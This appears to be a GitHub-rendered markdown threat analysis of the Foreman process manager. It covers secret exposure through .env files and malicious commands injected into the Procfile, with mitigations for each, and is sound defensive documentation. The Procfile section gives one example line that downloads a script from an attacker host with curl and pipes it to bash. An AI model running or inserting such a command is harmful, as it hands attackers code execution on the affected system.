Skip to content

Latest commit

 

History

History
32 lines (27 loc) · 4.26 KB

attack-surface.md

File metadata and controls

32 lines (27 loc) · 4.26 KB

Attack Surface Analysis for ddollar/foreman

Attack Surface: Sensitive Data Exposure via Environment Variables

  • Description: Exposure of confidential information (API keys, database passwords, secret tokens) through improperly managed environment variables.
    • How Foreman Contributes: Foreman loads environment variables from .env files (or other sources) and makes them accessible to managed processes. This is Foreman's primary contribution to this attack surface. The mechanism of loading and providing these variables is the core risk.
    • Example: A developer accidentally commits a .env file containing a production database password to a public GitHub repository. An attacker finds the repository and gains access to the database. Foreman, by design, would have loaded this password and made it available to the application.
    • Impact: Complete compromise of sensitive data, potentially leading to data breaches, financial loss, reputational damage, and legal consequences.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Never commit .env files: Add .env* to .gitignore. This is the most crucial step.
      • Use a secrets manager: Employ a dedicated secrets management solution (e.g., HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Cloud Secret Manager). Configure Foreman to read secrets from the secrets manager's API, not from .env files. This is the recommended best practice.
      • Environment-specific configuration: Use different .env files for different environments (development, staging, production) only for non-sensitive settings. Production secrets should always come from a secrets manager.
      • Least privilege: Only provide the necessary environment variables to each process. Avoid a single, global .env file. Use Foreman's features (if available) or shell scripting to selectively set variables for specific processes.
      • Regular audits: Periodically review .env files (if used for non-sensitive data) and environment variable usage to ensure no sensitive data is exposed.
      • Education: Train developers on secure environment variable management practices, emphasizing the risks associated with Foreman's behavior.

Attack Surface: Malicious Process Execution via Procfile Manipulation

  • Description: An attacker gains the ability to modify the Procfile and inject malicious commands or alter existing process definitions.
    • How Foreman Contributes: Foreman's core function is to execute processes as defined in the Procfile. This direct execution based on the Procfile content is the attack surface.
    • Example: An attacker compromises a developer's machine and modifies the Procfile to include a command that downloads and executes a malicious script (e.g., web: curl http://attacker.com/evil.sh | bash). When Foreman restarts the application (or starts it), the malicious script is executed.
    • Impact: Arbitrary code execution on the server, potentially leading to complete system compromise, data theft, and denial of service.
    • Risk Severity: High
    • Mitigation Strategies:
      • Secure the Procfile: Treat the Procfile as a critical configuration file. Use strict file system permissions to prevent unauthorized modification.
      • Code review: Implement mandatory code reviews for all changes to the Procfile.
      • Version control: Track changes to the Procfile in version control and monitor for suspicious modifications.
      • Read-only filesystem (Production): Deploy the application and Procfile to a read-only filesystem in production to prevent runtime modifications. This is a strong mitigation.
      • Configuration management: Use a configuration management tool (Ansible, Chef, Puppet) to manage the Procfile and ensure its integrity. This helps enforce a desired state.
      • Process monitoring: Monitor running processes for unexpected behavior or deviations from the expected Procfile configuration. This is a detective control.